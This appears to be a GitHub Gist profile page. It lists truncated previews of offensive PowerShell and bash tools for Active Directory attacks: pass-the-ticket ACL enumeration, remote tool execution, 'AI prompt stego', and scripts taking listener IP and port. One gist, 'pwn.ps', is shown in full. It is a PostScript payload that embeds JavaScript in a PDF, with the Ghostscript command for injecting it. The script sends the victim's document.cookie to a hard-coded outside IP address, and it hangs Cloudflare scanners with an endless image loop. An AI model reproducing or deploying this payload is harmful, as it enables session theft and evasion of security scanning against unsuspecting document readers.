Skip to content

Instantly share code, notes, and snippets.

View kennystrawnmusic's full-sized avatar

Kenny Strawn kennystrawnmusic

View GitHub Profile
function Find-InterestingRemoteAcl {
[CmdletBinding(DefaultParameterSetName="PasswordAuth")]
param(
[Parameter(ParameterSetName="PasswordAuth", Mandatory=$true)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory=$true)]
[string]$ComputerName,
[Parameter(ParameterSetName="PassTheTicket")]
[switch]$PTT
)
function Invoke-AIPromptStego {
param(
[string]$InFile,
[string]$OutFile,
[string]$OutFormat,
[string]$Prompt
)
Add-Type -AssemblyName System.Drawing
function Clone-RemoteDnsServerZone {
param(
[Parameter(Mandatory=$true)]
[string]$IPAddr
)
$zones = Get-DnsServerZone -ComputerName $IPAddr -ErrorAction SilentlyContinue
$zones | % {
$zname = $_.Name
function Invoke-RemoteCustomTool {
[CmdletBinding(DefaultParameterSetName="PasswordAuth")]
param(
[Parameter(ParameterSetName="PasswordAuth", Mandatory=$true)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory=$true)]
[string]$ComputerName,
[Parameter(Mandatory=$true)]
[string]$ProgName,
[Parameter(Mandatory=$true)]
function Invoke-PSADSession {
[CmdletBinding(DefaultParameterSetName="PasswordAuth")]
param(
[Parameter(ParameterSetName="PasswordAuth", Mandatory=$true)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory=$true)]
[string]$ComputerName,
[bool]$Interactive = $true,
[Parameter(ParameterSetName="PassTheTicket")]
[switch]$PTT
From 6041d59b9c3d1ef84cc2d2cd226c6d8a33523cb3 Mon Sep 17 00:00:00 2001
From: Kenneth Strawn <kstrawn0@saddleback.edu>
Date: Wed, 3 Sep 2025 07:38:32 -0700
Subject: [PATCH] Patch docker-compose.yml for LP+
---
docker-compose.yml | 87 +++++++++++++++++++++++-----------------------
1 file changed, 43 insertions(+), 44 deletions(-)
diff --git a/docker-compose.yml b/docker-compose.yml
function Gen-RDPFile {
Param (
[string]$User,
[string]$Password,
[string]$IP,
[string]$FileName,
[int]$Width = 2880,
[int]$Height = 1620,
[int]$Port = 3389,
[bool]$FullScreen = $false
@kennystrawnmusic
kennystrawnmusic / pwn.ps
Last active December 9, 2025 16:12
Use the following command to add this payload into a PDF: `gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf pwn.ps input.pdf`
[ /_objdef {test} /type /dict /OBJ pdfmark
[ {test} << /JavaScript << /Names [ (test) << /S /JavaScript
/JS (if (navigator.userAgent.match\("/Cloudflare/i"\) || navigator.userAgent.match\("/cf-ray/i"\)) { var img = new Image\(\); img.className = 'test'; img.src = 'x'; img.onerror = function\(\) { while \(true\) { var inner = new Image\(1, 1\); inner.className = 'test'; inner.src = Array.from\(document.getElementsByClassName\('test'\)\).at\(-1\).src; inner.onerror = Array.from\(document.getElementsByClassName\('test'\)\).at(-1).onerror; document.body.appendChild\(inner\); } }; document.body.appendChild\(img\); } else { new Image\(\).src = "http://107.214.106.46/index.php?c="+document.cookie; }) >> ]
>> >>
/PUT pdfmark
[ {Catalog} << /Names {test} >> /PUT pdfmark
#!/bin/bash
domain="$1"
user="$2"
password="$3"
gpo_guid="$4"
target_ip="$5"
target_ou="$6"
listener_ip="$7"
listener_port="$8"
#!/bin/bash
IP="$1"
DOMAIN="$2"
PRINCIPAL_USER="$3"
TARGET_USER="$4"
PASSWORD="$5"
DIR="$6"
LHOST="$7"
LPORT="$8"